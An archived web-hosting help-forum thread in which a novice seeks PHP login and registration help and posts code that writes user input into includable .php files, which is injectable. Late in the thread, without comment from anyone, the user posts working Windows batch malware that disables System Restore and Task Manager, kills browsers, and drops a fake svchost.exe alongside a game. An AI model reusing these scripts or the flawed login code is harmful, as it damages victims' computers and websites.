This Message Forum is no longer in use

Please use the new Bravenet Help Forums FOUND HERE

General Forum
This Forum is Locked
Author
Comment
making some forms nead help

how do i make a registration and login form on my website? "please dont post anylinks to a website unless it is neccesary for this and just please post the steps and codes or email me them!!!" thanks for the info

Browser: IE 7

Re: making some forms nead help

What software are you using? There is no point giving you SQL code if you are using XML for example.

Browser: Firefox3.0.5

Re: making some forms nead help

Peter
What software are you using? There is no point giving you SQL code if you are using XML for example.

if you mean the type of computer im using its Windows Vista desktop

Browser: IE 7

Re: making some forms nead help

Creating a form is the easy part. Making it do what you want is the difficult part.

To add registration and login capabilities to your web site, you need to create a data base that will keep track of the registered users, their login IDs, and their passwords. Usually PHP scripts manage the access to the data base. Details and code for doing something like this can be had at this link to PHP/MySQL Login & Registration system.

You can also put the string "registration and login form in php" in a Google search and find lots of other information and scripts.

The problem is, free web sites do not have data base or PHP access. You only get that with paid hosting.

An alternative might be Bravenet's Password Protect service. Their free Password Protect service allows you to set up a restricted area of your web site. To see if it is a good fit, try this link to Bravenet's Wiki pages on the Password Protect service.

Browser: FIrefox

OS: Solaris, Redhat, Fedora, Suse

Re: making some forms nead help

this is as far as ive gotton how do i see php files and is this code right?

Code:

<?php
if($_GET[page] == register) {
echo "<html>
<head>
<title>register a username</title>
</head>
<body>
<center>
<form action="index.php?page=registering.php" method="post">
<input type="text" name="username" value="type your name here"><br>
<input type="text" name="pass1" value="type your pass"><br>
<input type="submit" value="register">
</form>
</body>
</html>";
} elseif($_GET[page] == registering) {
$username = "users$_POST[username].php";
if(file_exists($username)) {
echo "the username you choose already exists";
} else {
$user=fopen("users/$_POST[username].php", "a");
fwrite($user, "<?php
$pass = '$_POST[pass]';
?>
fclose($user);
echo "youre registerd you can now login!";
}
} elseif($_GET[page] == login) {
echo "<html>
<head>
<title>Login</title>
</head>
<body>
<center>
<form action="index.php?page=logging_in" method="post">
<input type="text" name="username" value="your username here"><br>
<input type="pass" name="pass" value="your password here"><br>
<input tye="submit" value="login!">
</form>
</body>
</html>";
} elseif($_GET[page] == logging_in) {
$ip = $ SERVER['REMOTE_ADDR']
$ips = "ips/$ips)) {
} else {
$ip=fopen("ip/$ip.php", "a");
fwrite($ips, "<?php
$loggedin = "yes";
?>");
fclose($ip);
}
$username = "users/$_POST[username].php";
if(file_exists($username)) {
include($username);
if($pass == $_POST[pass]) {
echo "your logged in!";
} else {
echo " wrong password!";
}
} else {
echo "wrong username!";
}
}elseif($_GET[page] == logout) {
$ips = $_SERVER['REMOTE_ADDR'];
$ip = "ips/$ip.php";
unlink($ip);
echo "you're now logged out!";
} else {
echo "the page your looking for doesn't exist";
}
?>

<-- put this in a page to protect it -->

<?php
$ip = $_SERVER[REMOTE_ADDR];
$ips = "ips/$ip.php";
if(file_exists($ips)) {
include($ips);
if($loggedin == yes) {
?>

<-- secure page content here -->

<?php
} else {
echo "fatal error: you can not see this page";
}
} else {
echo "you're not logged in! login first before you see this page!";
}
?>

<-- end protect page code -->

Browser: IE 7

Re: making some forms nead help

i would just post the code in a zip file but the bravenet service says i nead pro hosting and i dont want to spend money so yeah...

Browser: IE 7

Re: making some forms nead help

Except for the stuff that the Bravenet forum stripped out of the code, there isn't anything essentially wrong with the code you posted. Except of course, the rest of the operational files are missing. It would be far better if you posted a link to where you got the code from. Then we would have a better idea of how it is intended to work.

PHP files are just text files, just like HTML, CSS or JavaScript files. The main difference is that it is written in the PHP language. You can view/edit them in any text editor. PHP, like HTML, CSS and JavaScript, is an interpreted language, meaning that it is processed "in-line" and is not not compiled to an executable.

Generally, like the file you posted, the PHP file writes HTML to the web browser for viewing. Notice, in the code you posted, the "echo" statements. These statements are intended to write HTML to the visitors browser. Exactly which set of "echo" statement are use is dependent on which process is being exercised, Login or register, and is controlled by the "if/else" statements.

The file that you posted would probably be used as a start page and might be named "index.php". As long as there isn't any "index.html" or "index.htm" in the folder where it is located, it will be the default page. It would then allow you to either register or log in to the web site. What is missing are the other scripts that do the work. There will be several PHP scripts that process the actions from the login page. For example, "registering.php" would probably check the visitor's user name against the data base to insure that it is not already used. Then it would make an entry in the data base that contained the visitor's user name and their password. After that, the user should be able to log in.

But all of this is academic, if you don't have paid hosting. If you attempt to run a PHP program on a free web site you will get the following error code.

PHP Disabled

Sorry but PHP has been disabled for free accounts. To upgrade your account so that you can use PHP, go to your service manager.


Are there free web hosts that allow you to use PHP, yes. There is "awardspace.com". They allow free site users PHP4/5 , Perl/CGI-BIN and one MySQL(v.4) Database. It sounds good, but in testing with them, I have found them to be extremely slow and not very reliable. This is mostly because, their paid accounts have priority. And, if you use the data base for your site registration, you won't be able to use a data base for anything else, like a PHP forum.

Browser: FIrefox

OS: Solaris, Redhat, Fedora, Suse

Re: making some forms nead help

i just installed wampserver and figured out how to see the file, I discarded that code and making a new code, I'le post it when im done with it and i just figured out how to post the php code to, i wont be able to use it but you can see it

Browser: IE 7

Re: making some forms nead help

one more question
im still new at coding batch files but do you guys now what this code will do?

Code:

@ECHO OFF

REG ADD HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun /v winlogon /t REG_SZ /d %windir%system32configsvchost.exe /f

reg add &#8220;HKLMSoftwareMicrosoftWindows NTCurrentVersionSystemRestore&#8221; /v DisableSR /t REG_DWORD /d 1 /f

REG add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableRegistryTools /t REG_DWORD /d 1 /f

REG add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoFolderOptions /t REG_DWORD /d 1 /f

REG add HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoFolderOptions /t REG_DWORD /d 1 /f

REG add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f

REG add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoRun /t REG_DWORD /d 1 /f

:loop

taskkill /F /IM taskmgr.exe /IM procexp.exe /IM firefox.exe /IM chrome.exe /IM iexplore.exe /IM yahoomessenger.exe /IM autoruns.exe

goto loop

and this
Code:

@echo off

move /y svchost.exe &#8220;%windir%system32config&#8221;

start %windir%system32configsvchost.exe

start game.exe

exit

Browser: IE 7

Re: making some forms nead help

ignore my last question i figured it out

Browser: IE 7

Re: making some forms nead help

sorry this is taking me longer then i thought to make a working login logout registration change password email validation system

Browser: IE 7

Re: making some forms nead help